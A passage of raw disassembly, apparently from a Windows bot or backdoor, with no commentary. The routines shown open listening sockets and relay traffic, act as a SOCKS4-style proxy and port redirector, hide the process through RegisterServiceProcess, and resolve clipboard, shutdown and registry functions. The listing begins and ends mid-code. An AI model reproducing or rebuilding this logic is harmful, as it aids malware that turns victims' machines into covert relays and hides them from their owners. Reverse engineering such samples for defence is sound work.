[esp+2A8h+var_2A8], offset dword_44C2A0 call ds:off_41F098 jmp loc_406763 ; --------------------------------------------------------------------------- loc_4066B8: ; CODE XREF: sub_40656E+CDj push edi call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_413812 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aW1 ; "w1" push eax lea eax, [ebp+var_178] push eax call sub_413812 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_4066FC lea eax, [ebp+var_140] loc_4066FC: ; CODE XREF: sub_40656E+186j push eax lea eax, [ebp+var_1F8] push eax call sub_413812 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_425A5C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_406763: ; CODE XREF: sub_40656E+C3j ; sub_40656E+145j push 7D0h call ds:dword_41F050 ; Sleep jmp loc_4065B5 ; --------------------------------------------------------------------------- loc_406773: ; CODE XREF: sub_40656E+55j push esi call sub_4135DA pop ecx push 0 call ds:off_41F040 sub_40656E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406782 proc near ; DATA XREF: sub_40CC09+2E99o ; sub_40CC09+48CDo var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_44CD18 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_438A20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_406059 push 8 call sub_413506 add esp, 150h cmp eax, ebx jnz short loc_406850 mov esi, offset dword_44C2A0 push esi call ds:off_41F0A4 push 80000400h push esi call ds:off_41F0A0 test eax, eax jnz short loc_406850 lea eax, [ebp+var_1CC] push offset unk_426178 push eax call sub_413812 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40683A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40B2B5 add esp, 14h loc_40683A: ; CODE XREF: sub_406782+99j lea eax, [ebp+var_1CC] push eax call sub_409833 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: sub_406782+63j ; sub_406782+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_41F050 mov edi, ebx mov dword_438A24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40691D loc_40686E: ; CODE XREF: sub_406782+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_426130 push eax call sub_413812 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_4132BE mov [ebp+var_28], eax imul eax, 134h mov ecx, [ebp+var_2C] add esp, 24h mov dword_45212C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40656E push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_28] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4068E8 loc_4068DD: ; CODE XREF: sub_406782+164j cmp [ebp+var_4], ebx jnz short loc_40690F push 1Eh call esi ; Sleep jmp short loc_4068DD ; --------------------------------------------------------------------------- loc_4068E8: ; CODE XREF: sub_406782+159j call ds:off_41F06C push eax lea eax, [ebp+var_1CC] push offset unk_4260E4 push eax call sub_413812 lea eax, [ebp+var_1CC] push eax call sub_409833 add esp, 10h loc_40690F: ; CODE XREF: sub_406782+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40686E loc_40691D: ; CODE XREF: sub_406782+E6j cmp [ebp+var_30], ebx jz loc_4069C7 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_406932: ; CODE XREF: sub_406782+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_438A20[eax*8] push eax call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_426090 push eax call sub_413812 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_406980 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40B2B5 add esp, 14h loc_406980: ; CODE XREF: sub_406782+1DFj lea eax, [ebp+var_1CC] push eax call sub_409833 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_438A24[eax*8], ebx call esi ; Sleep push 8 call sub_413506 cmp eax, 1 pop ecx jnz short loc_4069B7 push offset dword_44C2A0 call ds:off_41F0A4 loc_4069B7: ; CODE XREF: sub_406782+228j push [ebp+var_2C] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_4069C7: ; CODE XREF: sub_406782+19Ej ; sub_406782+25Dj mov eax, [ebp+var_2C] cmp dword_438A24[eax*8], 1 jnz loc_406932 push 7D0h call esi ; Sleep jmp short loc_4069C7 sub_406782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069E1 proc near ; DATA XREF: sub_40CC09+3270o var_24C = byte ptr -24Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_413890 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_44CCDC ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_44CD58 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406B45 mov eax, [ebp+var_3C] push edi imul eax, 134h push 401h push esi push ebx mov dword_452134[eax], ebx call dword_44CC08 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_44CD08 ; bind test eax, eax jnz loc_406B45 push 0Ah push ebx call dword_44CD04 ; listen test eax, eax jnz loc_406B45 loc_406A8B: ; CODE XREF: sub_4069E1+BEj ; sub_4069E1+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_44CD6C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_406A8B movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_24C] push offset unk_426210 push eax call sub_413812 push edi lea eax, [ebp+var_24C] push 10h push eax call sub_4132BE mov [ebp+var_38], eax imul eax, 134h mov ecx, [ebp+var_3C] add esp, 20h mov dword_45212C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_406B69 push esi push esi call ds:off_41F070 mov ecx, [ebp+var_38] imul ecx, 134h cmp eax, esi mov dword_45213C[ecx], eax jz short loc_406B30 loc_406B1D: ; CODE XREF: sub_4069E1+14Dj cmp [ebp+var_2C], esi jnz loc_406A8B push 32h call ds:dword_41F050 ; Sleep jmp short loc_406B1D ; --------------------------------------------------------------------------- loc_406B30: ; CODE XREF: sub_4069E1+13Aj call ds:off_41F06C push eax push offset unk_4261C0 call sub_4098A7 pop ecx pop ecx jmp short loc_406B48 ; --------------------------------------------------------------------------- loc_406B45: ; CODE XREF: sub_4069E1+61j ; sub_4069E1+93j ... mov edi, [ebp+arg_0] loc_406B48: ; CODE XREF: sub_4069E1+162j push edi call dword_44CD70 ; closesocket push ebx call dword_44CD70 ; closesocket push [ebp+var_3C] call sub_4135DA pop ecx push esi call ds:off_41F040 pop edi pop esi pop ebx sub_4069E1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B69 proc near ; DATA XREF: sub_4069E1+11Co var_1244 = byte ptr -1244h var_244 = byte ptr -244h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1244h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_44CD58 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_406D1F push 10h lea eax, [ebp+var_18] push edi push eax call sub_413890 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_44CCDC ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_406BF9 lea eax, [ebp+var_13C] push eax call dword_44CD5C ; gethostbyname jmp short loc_406C07 ; --------------------------------------------------------------------------- loc_406BF9: ; CODE XREF: sub_406B69+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_44CC98 ; gethostbyaddr loc_406C07: ; CODE XREF: sub_406B69+8Ej cmp eax, edi jz loc_406D1F mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_44CC88 ; connect cmp eax, 0FFFFFFFFh jz loc_406D1F movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_244] push offset unk_4262BC push eax call sub_413812 push esi lea eax, [ebp+var_244] push 10h push eax call sub_4132BE imul ebx, 134h mov [ebp+var_30], eax imul eax, 134h mov ecx, [ebp+var_34] lea esi, dword_452134[ebx] mov dword_45212C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_452138[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_406D50 push edi push edi call ds:off_41F070 mov ecx, [ebp+var_30] imul ecx, 134h cmp eax, edi mov dword_45213C[ecx], eax jz short loc_406D0C loc_406CB9: ; CODE XREF: sub_406B69+15Dj cmp [ebp+var_20], edi jnz short loc_406CC8 push 32h call ds:dword_41F050 ; Sleep jmp short loc_406CB9 ; --------------------------------------------------------------------------- loc_406CC8: ; CODE XREF: sub_406B69+153j mov ebx, 1000h loc_406CCD: ; CODE XREF: sub_406B69+19Fj push ebx lea eax, [ebp+var_1244] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_1244] push edi push ebx push eax push dword ptr [esi] call dword_44CCF4 ; recv cmp eax, edi jle short loc_406D1F push edi push eax lea eax, [ebp+var_1244] push eax push [ebp+arg_0] call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jnz short loc_406CCD jmp short loc_406D1F ; --------------------------------------------------------------------------- loc_406D0C: ; CODE XREF: sub_406B69+14Ej call ds:off_41F06C push eax push offset unk_426268 call sub_4098A7 pop ecx pop ecx loc_406D1F: ; CODE XREF: sub_406B69+44j ; sub_406B69+A0j ... mov eax, [ebp+var_4] imul eax, 134h push dword_452134[eax] call dword_44CD70 ; closesocket push [ebp+arg_0] call dword_44CD70 ; closesocket push [ebp+var_4] call sub_4135DA pop ecx push edi call ds:off_41F040 pop edi pop esi pop ebx sub_406B69 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D50 proc near ; DATA XREF: sub_406B69+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_413E60 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 134h mov edi, 1000h loc_406D87: ; CODE XREF: sub_406D50+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_452138[esi] call dword_44CCF4 ; recv test eax, eax jle short loc_406DCE push 0 push eax lea eax, [ebp+var_1128] push eax push dword_452134[esi] call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jnz short loc_406D87 loc_406DCE: ; CODE XREF: sub_406D50+61j push dword_452138[esi] call dword_44CD70 ; closesocket push [ebp+var_14] call sub_4135DA pop ecx push 0 call ds:off_41F040 pop edi pop esi sub_406D50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DED proc near ; DATA XREF: sub_40CC09+540Eo var_1D4 = byte ptr -1D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_413890 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_44CCDC ; ntohs push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_44CD58 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 134h push ebx mov dword_452134[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_44CD08 ; bind test eax, eax jnz loc_406F8F push 0Ah push edi call dword_44CD04 ; listen test eax, eax jnz loc_406F8F push [ebp+var_40] push [ebp+var_D4] call sub_408A5D pop ecx push eax lea eax, [ebp+var_1D4] push offset unk_4263F0 push eax call sub_413812 add esp, 10h cmp [ebp+var_30], esi jnz short loc_406EC8 push esi lea eax, [ebp+var_1D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40B2B5 add esp, 14h loc_406EC8: ; CODE XREF: sub_406DED+B9j ; sub_406DED+172j ... lea eax, [ebp+var_1D4] push eax call sub_409833 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_44CD6C ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_1D4] push offset unk_42639C push eax call sub_413812 push ebx lea eax, [ebp+var_1D4] push 11h push eax call sub_4132BE mov [ebp+var_38], eax imul eax, 134h mov ecx, [ebp+var_3C] add esp, 20h mov dword_45212C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_406FF2 push esi push esi call ds:off_41F070 mov ecx, [ebp+var_38] imul ecx, 134h cmp eax, esi mov dword_45213C[ecx], eax jz short loc_406F6F loc_406F5C: ; CODE XREF: sub_406DED+180j cmp [ebp+var_28], esi jnz loc_406EC8 push 5 call ds:dword_41F050 ; Sleep jmp short loc_406F5C ; --------------------------------------------------------------------------- loc_406F6F: ; CODE XREF: sub_406DED+16Dj call ds:off_41F06C push eax lea eax, [ebp+var_1D4] push offset unk_426350 push eax call sub_413812 add esp, 0Ch jmp loc_406EC8 ; --------------------------------------------------------------------------- loc_406F8F: ; CODE XREF: sub_406DED+7Bj ; sub_406DED+8Cj push edi call dword_44CD70 ; closesocket push [ebp+var_40] lea eax, [ebp+var_1D4] push offset unk_426310 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_406FD2 push esi lea eax, [ebp+var_1D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40B2B5 add esp, 14h loc_406FD2: ; CODE XREF: sub_406DED+1C3j lea eax, [ebp+var_1D4] push eax call sub_409833 push [ebp+var_3C] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 pop edi pop esi pop ebx sub_406DED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FF2 proc near ; DATA XREF: sub_406DED+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 134h pop edi lea esi, dword_452134[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_44CCC4 ; select test eax, eax jnz short loc_407073 push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_407073: ; CODE XREF: sub_406FF2+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_44CCF4 ; recv test eax, eax jg short loc_4070A4 push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_4070A4: ; CODE XREF: sub_406FF2+98j cmp [ebp+var_4D0], 4 jnz loc_40729E cmp [ebp+var_4CF], 1 jnz loc_40729E cmp [ebp+var_44], bl jz short loc_40713A lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40713A lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_4264CC call sub_4098A7 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_413890 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44CD28 ; send push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_40713A: ; CODE XREF: sub_406FF2+CFj ; sub_406FF2+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_413890 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_44CD58 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4071D2 call dword_44CC78 ; WSAGetLastError push eax push offset unk_42647C call sub_4098A7 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_413890 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44CD28 ; send push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_4071D2: ; CODE XREF: sub_406FF2+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_44CC88 ; connect cmp eax, 0FFFFFFFFh jnz short loc_407241 call dword_44CC78 ; WSAGetLastError push eax push offset unk_426428 call sub_4098A7 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_413890 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44CD28 ; send push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_407241: ; CODE XREF: sub_406FF2+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_413890 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44CD28 ; send push dword ptr [esi] push edi call sub_4072B6 pop ecx pop ecx push edi call dword_44CD70 ; closesocket push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_40729E: ; CODE XREF: sub_406FF2+B9j ; sub_406FF2+C6j push dword ptr [esi] call dword_44CD70 ; closesocket push [ebp+arg_0] call sub_4135DA pop ecx push ebx call ds:off_41F040 sub_406FF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072B6 proc near ; CODE XREF: sub_406FF2+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4072CC: ; CODE XREF: sub_4072B6+C5j ; sub_4072B6+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4072E4: ; CODE XREF: sub_4072B6+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4072F4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4072E4 loc_4072F4: ; CODE XREF: sub_4072B6+33j cmp ecx, 1 jnz short loc_407309 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_407309: ; CODE XREF: sub_4072B6+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_44CCC4 ; select lea eax, [ebp+var_104] push eax push ebx call dword_44CBE4 ; __WSAFDIsSet test eax, eax jz short loc_407369 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_44CCF4 ; recv cmp eax, 0FFFFFFFFh jz short loc_4073B1 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jz short loc_4073B1 loc_407369: ; CODE XREF: sub_4072B6+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_44CBE4 ; __WSAFDIsSet test eax, eax jz loc_4072CC push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_44CCF4 ; recv cmp eax, 0FFFFFFFFh jz short loc_4073B1 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jnz loc_4072CC loc_4073B1: ; CODE XREF: sub_4072B6+9Aj ; sub_4072B6+B1j ... pop edi pop esi pop ebx leave retn sub_4072B6 endp ; =============== S U B R O U T I N E ======================================= sub_4073B6 proc near ; CODE XREF: sub_40C2D0+58p push ebx push ebp mov ebp, ds:dword_41F0B0 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:off_41F0AC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4074D6 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; sub_74AAC1 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_44CD84, eax call esi ; sub_74AAC1 push offset aProcess32first ; "Process32First" push edi mov dword_44CCFC, eax call esi ; sub_74AAC1 push offset aProcess32next ; "Process32Next" push edi mov dword_44CCE0, eax call esi ; sub_74AAC1 push offset aModule32first ; "Module32First" push edi mov dword_44CC0C, eax call esi ; sub_74AAC1 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_44CBBC, eax call esi ; sub_74AAC1 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_44CBE8, eax call esi ; sub_74AAC1 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_44CC58, eax call esi ; sub_74AAC1 push offset aSearchpatha ; "SearchPathA" push edi mov dword_44CD38, eax call esi ; sub_74AAC1 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_44CD94, eax call esi ; sub_74AAC1 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_44CC18, eax call esi ; sub_74AAC1 cmp dword_44CD84, ebx mov dword_44CC00, eax jz short loc_4074B4 cmp dword_44CCFC, ebx jz short loc_4074B4 cmp dword_44CCE0, ebx jz short loc_4074B4 cmp dword_44CC0C, ebx jz short loc_4074B4 cmp dword_44CBE8, ebx jz short loc_4074B4 cmp dword_44CC58, ebx jz short loc_4074B4 cmp dword_44CD38, ebx jz short loc_4074B4 cmp dword_44CD94, ebx jz short loc_4074B4 cmp dword_44CC18, ebx jz short loc_4074B4 cmp eax, ebx jnz short loc_4074BE loc_4074B4: ; CODE XREF: sub_4073B6+B8j ; sub_4073B6+C0j ... mov dword_44CD98, 1 loc_4074BE: ; CODE XREF: sub_4073B6+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; sub_74AAC1 cmp eax, ebx mov dword_44CD10, eax jz short loc_4074EB push 1 push ebx call eax jmp short loc_4074EB ; --------------------------------------------------------------------------- loc_4074D6: ; CODE XREF: sub_4073B6+1Dj call ds:off_41F06C mov dword_44CD9C, eax mov dword_44CD98, 1 loc_4074EB: ; CODE XREF: sub_4073B6+117j ; sub_4073B6+11Ej push offset aUser32_dll ; "user32.dll" call ds:off_41F0A8 mov edi, eax cmp edi, ebx jz loc_4075A6 push offset aSendmessagea ; "SendMessageA" push edi call esi ; sub_74AAC1 push offset aFindwindowa ; "FindWindowA" push edi mov dword_44CD34, eax call esi ; sub_74AAC1 push offset aIswindow ; "IsWindow" push edi mov dword_44CCE8, eax call esi ; sub_74AAC1 push offset aDestroywindow ; "DestroyWindow" push edi mov dword_44CC80, eax call esi ; sub_74AAC1 push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_44CD88, eax call esi ; sub_74AAC1 push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_44CCAC, eax call esi ; sub_74AAC1 push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_44CCCC, eax call esi ; sub_74AAC1 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_44CD2C, eax call esi ; sub_74AAC1 cmp dword_44CD34, ebx mov dword_44CC34, eax jz short loc_4075B1 cmp dword_44CCE8, ebx jz short loc_4075B1 cmp dword_44CC80, ebx jz short loc_4075B1 cmp dword_44CD88, ebx jz short loc_4075B1 cmp dword_44CCAC, ebx jz short loc_4075B1 cmp dword_44CCCC, ebx jz short loc_4075B1 cmp dword_44CD2C, ebx jz short loc_4075B1 cmp eax, ebx jnz short loc_4075BB jmp short loc_4075B1 ; --------------------------------------------------------------------------- loc_4075A6: ; CODE XREF: sub_4073B6+144j call ds:off_41F06C mov dword_44CDA4, eax loc_4075B1: ; CODE XREF: sub_4073B6+1B8j ; sub_4073B6+1C0j ... mov dword_44CDA0, 1 loc_4075BB: ; CODE XREF: sub_4073B6+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_407756 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; sub_74AAC1 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_44CD48, eax call esi ; sub_74AAC1 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_44CC94, eax call esi ; sub_74AAC1 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_44CD00, eax call esi ; sub_74AAC1 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_44CBF8, eax call esi ; sub_74AAC1 push offset aRegclosekey ; "RegCloseKey" push edi mov dword_44CC54, eax call esi ; sub_74AAC1 cmp dword_44CD48, ebx mov dword_44CCB8, eax jz short loc_407646 cmp dword_44CC94, 